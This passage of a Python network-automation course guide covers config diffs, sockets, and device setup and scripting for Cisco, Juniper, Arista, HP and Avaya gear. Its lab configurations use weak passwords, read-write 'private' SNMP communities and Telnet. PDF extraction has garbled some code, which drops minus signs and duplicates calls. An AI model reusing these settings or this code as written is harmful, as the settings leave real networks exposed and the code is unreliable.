#print list_run list_start = file_start.readlines() #print list_start #Closing both files after reading file_run.close() file_start.close() ###Secondly, filtering the elements at the beginning of each file/list, because we are interested in only the lines starting from "version 12.4" up to the end### #This is done by finding out the index of the element that contains "version" and deleting all the elements at indexes lower than this index #The deletion process is done by slicing the first elements in the list, up to the index of the element containing "version" and replacing that slice with, basically, nothing for index, element in enumerate(list_run): if "version " in element and "!\r\n" == list_run[list_run.index(element) - 1]: list_run[0:list_run.index(element)] = [] #print list_run for index, element in enumerate(list_start): if "version " in element and "!\r\n" == list_start[list_start.index(element) - 1]: list_start[0:list_start.index(element)] = [] #print list_start ###Finally, comparing the differences to a new file### #Inside the file, the #A "+" sign means the but not in the STARTUP-CONFIG #A "-" sign means the but not in the RUNNING-CONFIG
the elements in both lists and exporting following rules apply: line is present in the RUNNING-CONFIG line is present in the STARTUP-CONFIG
file_diff = open("file_diff.txt", "w") #Finding lines in the running-config which are not present in the startup-config run_diff = [x for x in list_run if x not in list_start] #print run_diff #Printing the lines to the file_diff.txt file for line in run_diff: print >>file_diff, "+" + line #Finding lines in the startup-config which are not present in the running-config Page 77 of 185
78
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
start_diff = [x for x in list_start if x not in list_run] #print start_diff #Printing the lines to the file_diff.txt file for line in start_diff: print >>file_diff, "-" + line file_diff.close() elif user_option == "2": #Having the code from option "1" as a guideline, you should be able to compare the running-config with a local config file #Write the code and test it... pass elif user_option == "3": #Having the code from option "1" as a guideline, you should be able to compare the startup-config with a local config file #Write the code and test it... pass else: print "Exiting... See ya...\n\n" sys.exit() except KeyboardInterrupt: print "\n\nProgram aborted by user. Exiting...\n" sys.exit() #End of program
Page 78 of 185
79
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
2.11. Sockets – Server Server & Client (full c ode, reference: Sectio Sectio n 21. 100 100 Exercis es, Network Network Pro gramming gramm ing Pro ject and Updates)
2.11.1. Socket Server
import socket srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv_ip = socket.gethostbyname(socket.gethostname()) srv_port = 11111 srv.bind((srv_ip, srv_port)) srv.listen(2) client, ip = srv.accept() srv.accept() client.send("Hi! Welcome to this server!") client.close()
2.11.2 2.11.2.. Socket Client
import socket cli = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ip = socket.gethostbyname(socket.gethostname()) port = 11111 cli.connect((ip, cli.connect((ip, port)) server_reply server_reply = cli.recv(65535) cli.recv(65535) print server_reply cli.close() Page 79 of 185
80
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3. Python Network Programming - Part 2: Multivendor Environment NOTE! Python programming knowledge is required in order to understand the network automation applications below. Learn Python from scratch inside the video course series!
3.1. 3.1.1. 1. Config Conf ig urin ur ing g IP, Remo Remo te Acc ess & SNMP - Cisc o IOS (full code, reference: Section 7. Cisco Network Programming (IOS))
To allow remote access to your Cisco IOS device, you must enter the configuration below.
Please note that some versions of Cisco IOS do not support SSH, so you should make sure you have a SSH-compatible IOS version. According to cisco.com: "The Cisco IOS image used must be a k9(crypto) image in order to support SSH. For example c3750euniversalk9-tar.122-35.SE5.tar is a k9 (crypto) image."
Here is the configuration you have to make in order to allow remote access. Please enter Global Configuration mode ( #configure terminal) terminal ) before pasting this configuration.
So, to configure an IP address, SSHv2 and SNMP use this configuration:
IP Configuration: enable configure terminal interface Fa0/0 ip address 172.16.1.2 255.255.255.0
Page 80 of 185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
81
no shutdown
SSHv2 SSHv2 Configuration: username mihai privilege 15 password python ! line vty 0 4 privilege level 15 login local transport input telnet ssh ! exit ! enable secret python ! ip domain-name mihai ! hostname Cisco-R1 ! !When asked How many bits in the modulus [512]: enter 1024 crypto key generate rsa 1024 ! ip ssh version 2
Page 81 of 185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
82
ip ssh time-out 60 ip ssh authentication-retries 3 !
SNMP SNMP Configuratio n: snmp-server community public ro snmp-server community private rw snmp-server enable traps
Checking the Configuration: show ip interface brief show ip ssh show snmp
Saving Configuration: copy run start
Saving Configuration to a TFTP Server: copy run tftp://172.16.1.1/cisco_cfg
NOTE! Depending on the hardware and software you are using in your network, some commands, command options or command outputs may be slightly different.
Page 82 of 185
83
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.1. 3.1.2. 2. Readin Reading g Command Com mand Output Outp ut - Cisco IOS IOS First, make sure to have Trigger installed and properly configured (this is detailed inside the course, in a step-by-step manner) and also that the Cisco device is reachable. Then, use the code below to easily read command output from a Cisco IOS device.
#Importing the necessary module. from trigger.cmds import Commando #Asking the user for input. devices = raw_input('\nEnter devices separated by comma: ') commands = raw_input('\nEnter commands separated by comma: ') #Splitting the devices/commands entered by the user. devices_list = devices.split(',') commands_list = commands.split(',') #Running all given commands on all given devices. cmd = Commando(devices = devices_list, commands = commands_list) #Executing all the work in real time. cmd.run() #Capturing the results as a dictionary of dictionaries. dictionaries. #Uncomment 'print result', then save and run the script... #...to see how Commando returns the results initially. output = cmd.results #print output #Using a while loop to allow the user to return and choose another cXdY combination. while True: #Asking the user about the output he wants to obtain. print '\nNOTE! The format is always cXdY, where X is the command number and Y is the device number in the lists you enter.\nIf X = a this means that command Y will be executed on ALL devices.\nIf Y = a this means that all commands will be executed on device X.\nIf both X = a and Y = a then all the commands will be executed on all devices.' user_option_1 = raw_input('\nNow, what do you want to see? Example: To get the output of command 2 on device 1 just type c2d1: ') #Identifying the desired command(s) and device(s), based on the user input above. #Also addressing the cases where the user wants to run a command on all devices... #...in the list OR run all the commands in the list on a single device. #Now if the user types 'cad1' for example. Page 83 of 185
84
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
if user_option_1[1] == 'a' and user_option_1[3] != 'a': user_option_device = int(user_option_1[3]) all_outputs_list = [] for command in commands_list: cmd_output = output[devices_list[user_option_device 1]][command] #Adding hostname before the result all_outputs_list.append('Device: ' + devices_list[user_option_device - 1] + ' - Command #' + str(commands_list.index(command) + 1) + ':\n\n' + cmd_output) final_result = '\r\n'.join(all_outputs_list) #Now if the user types 'c1da' for example. elif user_option_1[1] != 'a' and user_option_1[3] == 'a': user_option_command = int(user_option_1[1]) all_outputs_list = [] for device in devices_list: devices_list: cmd_output = output[device][commands_list[user_option_command - 1]] #Adding hostname before the result all_outputs_list.append('Device: ' + device + '\n\n' + cmd_output) final_result = '\r\n'.join(all_outputs_list) #Now if the user types 'cada' for example, meaning execute all commands on all devices. elif user_option_1[1] == 'a' and user_option_1[3] == 'a': all_outputs_list = [] for device in devices_list: devices_list: for command in commands_list: all_outputs_list.append('Device: ' + device + ' Command #' + str(commands_list.index(command) + 1) + ':\n\n' + cmd.results[device][command]) final_result = '\r\n'.join(all_outputs_list) #Finally, if the user types 'c2d1' for example. else: user_option_device = int(user_option_1[3]) user_option_command = int(user_option_1[1]) #Adding hostname before the result final_result = 'Device: ' + devices_list[user_option_device 1] + '\n\n' + output[devices_list[user_option_device 1]][commands_list[user_option_command - 1]] #Print to screen or save to file? user_option_2 = raw_input('\nOk, all done! Press "p" to print the result to the screen. Press "s" to save it to a file. (p/s) ') #Taking action based on user input. if user_option_2 == 'p': #Printing the output to the screen. print '\n' print final_result
Page 84 of 185
85
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
back = raw_input('\nGo back and choose another cXdY combination? combination? (y/n) ') if back == 'y': continue else: break elif user_option_2 == 's': #Asking the user for the file name. filename = raw_input('\nPlease name your file. Example: /home/ubuntu/c2d1.txt: ') #Printing the output to a text file. with open(filenam open(filename, e, 'w') as f: f.write(final_result) print "\nDone! Check out %s to see the results.\n" % filename back = raw_input('\nGo back and choose another cXdY combination? combination? (y/n) ') if back == 'y': continue else: break #End Of Program
Page 85 of 185
86
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.1. 3.1.3. 3. Config Conf ig urin ur in g Devices - Cisco Cisc o IOS IOS First, make sure to have Trigger installed and properly configured (this is detailed inside the course, in a step-by-step manner) and also that the Cisco device is reachable. Then, use the code below to easily send configuration commands to a Cisco IOS device.
#Importing the necessary module. from trigger.contrib.docom trigger.contrib.docommand mand import CommandRunner #Asking the user for input. print '\nNOTE! Make sure all files have "configure terminal" or similar at line 1.' print '\nNOTE! Make sure all devices have remote access enabled and user/pass set.' #IP addresses are verified by Trigger. #If an address is not registered in NetDevices you'll get: 'Device not found in NetDevices: 172.16.1.103'. #If an address is not reachable you'll get: '172.16.1.101 - Error: An error occurred while connecting'. #If a file is not found in the filesystem you'll get an IOError and we want to catch that exception. try: devices = raw_input('\nEnter devices separated by comma: ') cmd_files = raw_input('\nEnter files separated by comma. Example: /home/ubuntu/cmd1.txt: ') #Splitting the devices/commands entered by the user. devices_list = devices.split(',') cmd_files_list = cmd_files.split(',') #Running all commands from all the given files on all given devices. cmd = CommandRunner(devices = devices_list, files = cmd_files_list) #Executing all the work in real time. cmd.run() print '\nCommands executed successfully on all devices.\n' #Raise exception in case one file does not exist. IP addresses are already verified by Trigger. except IOError, reason: print '\nError! Reason: ' + str(reason) + '.\n' print 'Please check the file(s) and paths. Redirecting back to prompt...\n' #End Of Program
Page 86 of 185
87
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.2.1. Configuring IP, Remote Access & SNMP – Juniper JunOS (full code, reference: reference: Section 8. Juni per Network Network Programming (JunOS)) (JunOS))
To allow remote access to your Juniper JunOS device, you must enter the configuration below.
Please enter configuration.
Global
Configuration
mode
( #configure) #configure) before
making
this
Note! I used this thi s configuration on my Juniper SRX100H, JUNOS Software Release [10.2R3.10].
Note! Since Note! Since JunOS requires a higher level of security when setting the remote access password ('error: require change of case, digits or punctuation'), I configured username: mihai1 and password: python1 python1 and also added them in the .tacacsrc file (~/.tacacsrc) on the Ubuntu 15.10 VM.
IP Configu Configu ration: cli edit set system host-name juniper-R1 set system root-authentication plain-text-password set interface Fa0/0/1.0 family inet address 172.16.1.3/24 set routing-options static route 0.0.0.0/0 next-hop 172.16.1.1
SSHv2 Configuration: configure Page 87 of 185
88
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
set system services ssh set system services ssh protocol-version v2 set system login user mihai1 class super-user authentication plain-text-password [Enter] New password: [python1] Retype new password: [python1]
SNMP Configuration: set snmp community public authorization read-only set snmp community private authorization read-write set snmp client-list mylist 172.16.1.0/24 set snmp community public client-list-name mylist set snmp community private client-list-name mylist set snmp trap-group Python commit
Checking Configuration: show interfaces terse show interfaces vlan show system services ssh show snmp
Saving Configuration: commit Page 88 of 185
89
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
Saving Saving Configuration to a TFTP TFTP Server Server (considering our Ubuntu VM): VM): #save
[email protected]:/tftpboot/juniper_cfg
Note: Before Note: Before trying to save the configuration to the TFTP server on the Ubuntu VM, I had to install openssh on the VM and allow SSH access from the Juniper SRX100, using the following commands in the Linux shell: sudo apt-get install openssh-server sudo ufw allow 22
Note! Depending on the hardware and software you are using in your network, some commands, command options or command outputs may be slightly different.
3.2. 3.2.2. 2. Reading Reading Command Output - Juni per JunOS J unOS
#Importing the necessary module. from trigger.cmds import Commando #Asking the user for input. devices = raw_input('\nEnter devices separated by comma: ') commands = raw_input('\nEnter commands separated by comma: ') #Splitting the devices/commands entered by the user. devices_list = devices.split(',') commands_list = commands.split(',') #Running all given commands on all given devices. cmd = Commando(devices = devices_list, commands = commands_list, force_cli = True) #Executing all the work in real time. cmd.run() #Capturing the results as a dictionary of dictionaries. dictionaries. #Uncomment 'print result', then save and run the script... #...to see how Commando returns the results initially. output = cmd.results #print output Page 89 of 185
90
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Using a while loop to allow the user to return and choose another cXdY combination. while True: #Asking the user about the output he wants to obtain. print '\nNOTE! The format is always cXdY, where X is the command number and Y is the device number in the lists you enter.\nIf X = a this means that command Y will be executed on ALL devices.\nIf Y = a this means that all commands will be executed on device X.\nIf both X = a and Y = a then all the commands will be executed on all devices.' user_option_1 = raw_input('\nNow, what do you want to see? Example: To get the output of command 2 on device 1 just type c2d1: ') #Identifying the desired command(s) and device(s), based on the user input above. #Also addressing the cases where the user wants to run a command on all devices... #...in the list OR run all the commands in the list on a single device. #Now if the user types 'cad1' for example. if user_option_1[1] == 'a' and user_option_1[3] != 'a': user_option_device = int(user_option_1[3]) all_outputs_list = [] for command in commands_list: cmd_output = output[devices_list[user_option_device 1]][command] #Adding hostname before the result all_outputs_list.append('Device: ' + devices_list[user_option_device - 1] + ' - Command #' + str(commands_list.index(command) + 1) + ':\n\n' + cmd_output) final_result = '\r\n'.join(all_outputs_list) #Now if the user types 'c1da' for example. elif user_option_1[1] != 'a' and user_option_1[3] == 'a': user_option_command = int(user_option_1[1]) all_outputs_list = [] for device in devices_list: devices_list: cmd_output = output[device][commands_list[user_option_command - 1]] #Adding hostname before the result all_outputs_list.append('Device: ' + device + '\n\n' + cmd_output) final_result = '\r\n'.join(all_outputs_list) #Now if the user types 'cada' for example, meaning execute all commands on all devices. elif user_option_1[1] == 'a' and user_option_1[3] == 'a': all_outputs_list = [] for device in devices_list: devices_list: for command in commands_list:
Page 90 of 185
91
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
all_outputs_list.append('Device: ' + device + ' Command #' + str(commands_list.index(command) + 1) + ':\n\n' + cmd.results[device][command]) final_result = '\r\n'.join(all_outputs_list) #Finally, if the user types 'c2d1' for example. else: user_option_device = int(user_option_1[3]) user_option_command = int(user_option_1[1]) #Adding hostname before the result final_result = 'Device: ' + devices_list[user_option_device 1] + '\n\n' + output[devices_list[user_option_device 1]][commands_list[user_option_command - 1]] #Print to screen or save to file? user_option_2 = raw_input('\nOk, all done! Press "p" to print the result to the screen. Press "s" to save it to a file. (p/s) ') #Taking action based on user input. if user_option_2 == 'p': #Printing the output to the screen. print '\n' print final_result back = raw_input('\nGo back and choose another cXdY combination? combination? (y/n) ') if back == 'y': continue else: break elif user_option_2 == 's': #Asking the user for the file name. filename = raw_input('\nPlease name your file. Example: /home/ubuntu/c2d1.txt: ') #Printing the output to a text file. with open(filenam open(filename, e, 'w') as f: f.write(final_result) print "\nDone! Check out %s to see the results.\n" % filename back = raw_input('\nGo back and choose another cXdY combination? combination? (y/n) ') if back == 'y': continue else: break #End Of Program
Page 91 of 185
92
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.2. 3.2.3. 3. Configur Confi guring ing Devic Devic es - Juniper Jun iper J unOS
#Importing the necessary module. from trigger.contrib.docom trigger.contrib.docommand mand import CommandRunner #Asking the user for input. print '\nNOTE! Make sure all files have "configure terminal" or similar at line 1.' print '\nNOTE! Make sure all devices have remote access enabled and user/pass set.' #IP addresses are verified by Trigger. #If an address is not registered in NetDevices you'll get: 'Device not found in NetDevices: 172.16.1.103'. #If an address is not reachable you'll get: '172.16.1.101 - Error: An error occurred while connecting'. #If a file is not found in the filesystem you'll get an IOError and we want to catch that exception. try: devices = raw_input('\nEnter devices separated by comma: ') cmd_files = raw_input('\nEnter files separated by comma. Example: /home/ubuntu/cmd1.txt: ') #Splitting the devices/commands entered by the user. devices_list = devices.split(',') cmd_files_list = cmd_files.split(',') #Running all commands from all the given files on all given devices. cmd = CommandRunner(devices = devices_list, files = cmd_files_list, force_cli = True, timeout = None) #Executing all the work in real time. cmd.run() print '\nCommands executed successfully on all devices.\n' #Raise exception in case one file does not exist. IP addresses are already verified by Trigger. except IOError, reason: print '\nError! Reason: ' + str(reason) + '.\n' print 'Please check the file(s) and paths. Redirecting back to prompt...\n' #End Of Program
Page 92 of 185
93
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.3. 3.3.1. 1. Config Conf ig urin ur ing g IP, Remo Remo te Acc ess & SNMP – Arista vEOS (full code, reference: Section 9. Arista Network Programming (vEOS))
To allow remote access to your Arista EOS device, you must enter the configuration below.
Please enter Global Configuration mode ( #configure terminal ) before making this configuration.
Note! I Note! I used this configuration on Arista vEOS VM, Software Version 4.13.14M.
So, to configure an IP address, SSHv2 and SNMP use this configuration:
IP Configu Configu ration: enable configure interface Management 1 ip address 172.16.1.4 255.255.255.0 no shutdown
SSHv2 Configuration: username mihai privilege 15 role network-admin secret python aaa authorization exec default local management ssh idle-timeout 0 authentication mode keyboard-interactive Page 93 of 185
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
94
server-port 22 no fips restrictions no hostkey client strict-checking no shutdown login timeout 120 log-level info ! management telnet no shutdown idle-timeout 0
SNMP Configuration: snmp-server community public ro snmp-server community private rw snmp-server enable traps
Checking Configuration: show ip interface brief show management ssh show snmp
Saving Configuration: copy run start
Page 94 of 185
95
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
Saving Configuration to a TFTP Server: copy run tftp://172.16.1.1/arista_cfg
Note! Note! Depending on the hardware and software you are using in your network, some commands, command options or command outputs may be slightly different.
3.3. 3.3.2. 2. Readin Reading g Command Com mand Output Outp ut - Cisco IOS IOS
#Importing the necessary module. from trigger.cmds import Commando #Asking the user for input. devices = raw_input('\nEnter devices separated by comma: ') commands = raw_input('\nEnter commands separated by comma: ') #Splitting the devices/commands entered by the user. devices_list = devices.split(',') commands_list = commands.split(',') #Running all given commands on all given devices. cmd = Commando(devices = devices_list, commands = commands_list) #Executing all the work in real time. cmd.run() #Capturing the results as a dictionary of dictionaries. dictionaries. #Uncomment 'print result', then save and run the script... #...to see how Commando returns the results initially. output = cmd.results cmd.results #print output #Using a while loop to allow the user to return and choose another cXdY combination. while True: #Asking the user about the output he wants to obtain. print '\nNOTE! The format is always cXdY, where X is the command number and Y is the device number in the lists you enter.\nIf X = a this means that command Y will be executed on ALL devices.\nIf Y = a this means that all commands will be executed on device X.\nIf both X = a and Y = a then all the commands will be executed on all devices.' user_option_1 = raw_input('\nNow, what do you want to see? Example: To get the output of command 2 on device 1 just type c2d1: ') Page 95 of 185
96
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
#Identifying the desired command(s) and device(s), based on the user input above. #Also addressing the cases where the user wants to run a command on all devices... #...in the list OR run all the commands in the list on a single device. #Now if the user types 'cad1' for example. if user_option_1[1] == 'a' and user_option_1[3] != 'a': user_option_device = int(user_option_1[3]) all_outputs_list = [] for command in commands_list: cmd_output = output[devices_list[user_option_device 1]][command] #Adding hostname before the result all_outputs_list.append('Device: ' + devices_list[user_option_device - 1] + ' - Command #' + str(commands_list.index(command) + 1) + ':\n\n' + cmd_output) final_result = '\r\n'.join(all_outputs_list) #Now if the user types 'c1da' for example. elif user_option_1[1] != 'a' and user_option_1[3] == 'a': user_option_command = int(user_option_1[1]) all_outputs_list = [] for device in devices_list: devices_list: cmd_output = output[device][commands_list[user_option_command - 1]] #Adding hostname before the result all_outputs_list.append('Device: ' + device + '\n\n' + cmd_output) final_result = '\r\n'.join(all_outputs_list) #Now if the user types 'cada' for example, meaning execute all commands on all devices. elif user_option_1[1] == 'a' and user_option_1[3] == 'a': all_outputs_list = [] for device in devices_list: devices_list: for command in commands_list: all_outputs_list.append('Device: ' + device + ' Command #' + str(commands_list.index(command) + 1) + ':\n\n' + cmd.results[device][command]) final_result = '\r\n'.join(all_outputs_list) #Finally, if the user types 'c2d1' for example. else: user_option_device = int(user_option_1[3]) user_option_command = int(user_option_1[1]) #Adding hostname before the result final_result = 'Device: ' + devices_list[user_option_device 1] + '\n\n' + output[devices_list[user_option_device 1]][commands_list[user_option_command - 1]] #Print to screen or save to file? Page 96 of 185
97
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
user_option_2 = raw_input('\nOk, all done! Press "p" to print the result to the screen. Press "s" to save it to a file. (p/s) ') #Taking action based on user input. if user_option_2 == 'p': #Printing the output to the screen. print '\n' print final_result back = raw_input('\nGo back and choose another cXdY combination? combination? (y/n) ') if back == 'y': continue else: break elif user_option_2 == 's': #Asking the user for the file name. filename = raw_input('\nPlease name your file. Example: /home/ubuntu/c2d1.txt: ') #Printing the output to a text file. with open(filenam open(filename, e, 'w') as f: f.write(final_result) print "\nDone! Check out %s to see the results.\n" % filename back = raw_input('\nGo back and choose another cXdY combination? combination? (y/n) ') if back == 'y': continue else: break #End Of Program
Page 97 of 185
98
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.3. 3.3.3. 3. Config Conf ig urin ur ing g Devices - Cisc o IOS IOS
#Importing the necessary module. from trigger.contrib.docom trigger.contrib.docommand mand import CommandRunner #Asking the user for input. print '\nNOTE! Make sure all files have "configure terminal" or similar at line 1.' print '\nNOTE! Make sure all devices have remote access enabled and user/pass set.' #IP addresses are verified by Trigger. #If an address is not registered in NetDevices you'll get: 'Device not found in NetDevices: 172.16.1.103'. #If an address is not reachable you'll get: '172.16.1.101 - Error: An error occurred while connecting'. #If a file is not found in the filesystem you'll get an IOError and we want to catch that exception. try: devices = raw_input('\nEnter devices separated by comma: ') cmd_files = raw_input('\nEnter files separated by comma. Example: /home/ubuntu/cmd1.txt: ') #Splitting the devices/commands entered by the user. devices_list = devices.split(',') cmd_files_list = cmd_files.split(',') #Running all commands from all the given files on all given devices. cmd = CommandRunner(devices = devices_list, files = cmd_files_list) #Executing all the work in real time. cmd.run() print '\nCommands executed successfully on all devices.\n' #Raise exception in case one file does not exist. IP addresses are already verified by Trigger. except IOError, reason: print '\nError! Reason: ' + str(reason) + '.\n' print 'Please check the file(s) and paths. Redirecting back to prompt...\n' #End Of Program
Page 98 of 185
99
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.4. 3.4.1. 1. Config Conf igur urin ing g IP, Remote Access Ac cess & SNMP – HP ProCur ve OS (full code, reference: Section 10. HP Network Programming (ProCurve OS))
To allow remote access to your HP ProCurve device, you must enter the configuration below.
Please enter Global Configuration mode ( #configure terminal ) before making this configuration.
Note! I used this configuration configur ation on a HP ProCurve 2650 switch, Firmware Version H.10.117.
So, to configure an IP address, SSHv2 and SNMP use this configuration:
IP Configu Configu ration: enable configure vlan 1 ip address 172.16.1.5 255.255.255.0
SSHv2 Configuration: ip ssh key-size 1024 crypto key generate ssh ip ssh version 2 password manager user-name mihai
Page 99 of 185
100
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
New password for Manager: [python] Please retype new password for Manager: [python]
SNMP Configuration: snmp-server enable traps authentication
Checking Configuration: show ip show ip ssh show snmp-server
Saving Configuration: write memory
Saving Configuration to a TFTP server: copy run tftp 172.16.1.1 hp_cfg
Note! Note! Depending on the hardware and software you are using in your network, some commands, command options or command outputs may be slightly different.
Page 100 of 185
101
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.4. 3.4.2. 2. Readin Reading g Com mand Output Outp ut - HP ProCur ve OS
#Importing the necessary module(s) from netmiko import ConnectHandler ConnectHandler import time #User menu print '\nPlease choose an action:\n\n1 - Read command output from a single device\n2 - Read command output from multiple devices\n' user_choice = raw_input('\nEnter your choice: ') #Defining actions based on user input if user_choice == '1': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') command = raw_input('\nEnter command to send: ') print '\n' session = ConnectHandler(device_type = 'hp_procurve', ip = ip, username = username, password = password) time.sleep(1) session_output = session.send_command(command) time.sleep(1) print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save the output to a file\n' user_choice = raw_input('\nEnter your choice: ') if user_choice == '1': print session_output elif user_choice == '2': filename = raw_input('\nPlease name your file. Example: /home/ubuntu/hp1.txt: /home/ubuntu/hp1.txt: ') #Printing the output to a text file. with open(filename, open(filename, 'a') as f: f.write(session_output) print "\nDone! Check out %s to see the results.\n" % filename Page 101 of 185
102
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
elif user_choice == '2': #Asking the user for input ip = raw_input('\nEnter the device IP addresses separated by comma: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') command = raw_input('\nEnter command to send: ') #Storing the device IP addresses as a list dev_list = ip.split(',') #print dev_list print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save the output to a file\n' user_choice = raw_input('\nEnter your choice: ') if user_choice == '1': for ip in dev_list: #Running the code for each device specified by the user session = ConnectHandler(device_type = 'hp_procurve', ip = ip, username = username, password password = password) time.sleep(1) session_output = session.send_command(command) time.sleep(1) #Printing the output to the screen print '\n' + session_output + '\n' elif user_choice == '2': filename = raw_input('\nPlease name your file. Example: /home/ubuntu/hp1.txt: /home/ubuntu/hp1.txt: ') for ip in dev_list: #Running the code for each device specified by the user session = ConnectHandler(device_type = 'hp_procurve', ip = ip, username = username, password password = password) time.sleep(1) session_output = session.send_command(command) time.sleep(1) #Printing the output to a text file. with open(filename, 'a') as f: f.write('\n' + session_output + '\n') Page 102 of 185
103
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print "\nDone! Check out %s to see the results.\n" % filename #For using this application on other networking vendors, just replace device_type = 'hp_procurve' with any of the following: #device_type #device_type = 'cisco_ios' #device_type #device_type = 'juniper' #device_type = 'arista_eos' #End of Program
3.4. 3.4.3. 3. Config Conf ig urin ur ing g Devices Devic es - HP HP Pro ProCurv Curve e OS OS
#Importing the necessary module(s) from netmiko import ConnectHandler ConnectHandler import sys #User menu print '\nMake sure you have an username and password and SSHv2 enabled on the device(s)' print '\nPlease choose an action:\n\n1 - Send config commands to a single HP device\n2 - Send config commands to multiple HP devices\n3 - Send config commands from a file to a single HP device\n4 - Send config commands from a file to multiple HP devices\n' user_choice = raw_input('\nEnter your choice: ') #Defining actions based on user input if user_choice == '1': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') commands = raw_input('\nEnter commands to send separated by comma: ') print '\n' session = ConnectHandler(device_type = 'hp_procurve', ip = ip, username = username, password = password) session_output = session.send_config_set(commands.split(',')) Page 103 of 185
104
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
print "\nDone! Check out %s to see the results.\n" % ip elif user_choice == '2': #Asking the user for input ip = raw_input('\nEnter the device IP addresses separated by comma: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') commands = raw_input('\nEnter commands to send separated by comma: ') print '\n' for ip in ip.split(','): session = ConnectHandler(device_type = 'hp_procurve', ip = ip, username = username, password = password) session_output = session.send_config_set(commands.split(',')) print "\nDone! Check out %s to see the results.\n" % ip elif user_choice == '3': #Asking the user for input ip = raw_input('\nEnter the device IP address: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ') commands_file = raw_input('\nEnter the filename. Example: /home/ubuntu/cmd.txt: /home/ubuntu/cmd.txt: ') print '\n' session = ConnectHandler(device_type = 'hp_procurve', ip = ip, username = username, password = password) session_output = session.send_config_from_file(commands_file) print "\nDone! Check out %s to see the results.\n" % ip elif user_choice == '4': #Asking the user for input ip = raw_input('\nEnter the device IP addresses separated by comma: ') username = raw_input('\nEnter username for SSHv2 connection: ') password = raw_input('\nEnter password for SSHv2 connection: ')
Page 104 of 185
105
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
commands_file = raw_input('\nEnter the filename. Example: /home/ubuntu/cmd.txt: /home/ubuntu/cmd.txt: ') print '\n' for ip in ip.split(','): session = ConnectHandler(device_type = 'hp_procurve', ip = ip, username = username, password = password) session_output = session.send_config_from_file(commands_file) print "\nDone! Check out %s to see the results.\n" % ip else: print "\nInvalid input. Exiting...\n" sys.exit() #For using this application on other networking vendors, just replace device_type = 'hp_procurve' with any of the following: #device_type #device_type = 'cisco_ios' #device_type #device_type = 'juniper' #device_type = 'arista_eos' #End of Program
Page 105 of 185
106
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.5.1. Configuring IP, Remote Access & SNMP – Avaya ERS OS (full code, cod e, reference: reference: Sectio n 11. Avaya Network Pro gramm ing (ERS (ERS OS)) OS))
To allow remote access to your Avaya ERS device, you must enter the configuration below.
Telnet access is enabled by default. In this section, we will use Telnet instead of SSH to access the switch.
Default Avaya ERS password: securepasswd
R/W
username
and
password:
username: RW , RW ,
Please enter Global Configuration mode ( #configure terminal ) before making this configuration.
Note! I Note! I used this configuration on an Avaya ERS 3526T-PWR+ switch, Software Version 5.3.1.
So, to configure an IP address, Telnet/SSHv2 and SNMP use this configuration:
IP Configu Configu ration: enable configure terminal ip address 172.16.1.6 255.255.255.0
Page 106 of 185
107
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
Telnet/SSHv2 Configuration: cli password telnet local ssh [OPTIONAL]
SNMP Configuration: snmp-server enable
Checking Configuration: show ip show ssh show snmp-server
Saving Configuration: copy config nvram
Saving Configuration to a TFTP Server: copy run tftp address 172.16.1.1 filename avaya_cfg
Note! Note! Depending on the hardware and software you are using in your network, some commands, command options or command outputs may be slightly different.
Page 107 of 185
108
Python Network Programming – Course Course Applications Guide by Mihai Cătălin Teodosiu
3.5. 3.5.2. 2. The AvayaERSC AvayaERSCon onnect nect Python Pyth on Module Modu le
Below you can find the full documentation and code for the AvayaERSConnect module.
3.5. 3.5.2. 2.1. 1. AvayaERS AvayaERSConn Connect.py ect.py Document Docu mentatio ation n
The AvayaERSConnect Python module is built using Python 2.7.3, on top of the telnetlib library and it works with any version of Python >= 2.7.x. Other versions below 2.7.x were not tested.
AvayaERSConnect AvayaERSConnect is published published under under the MIT MIT Licens e.
The official documentation of telnetlib is telnetlib is accessible here: https://docs.python.org/2/library/telnetlib.html
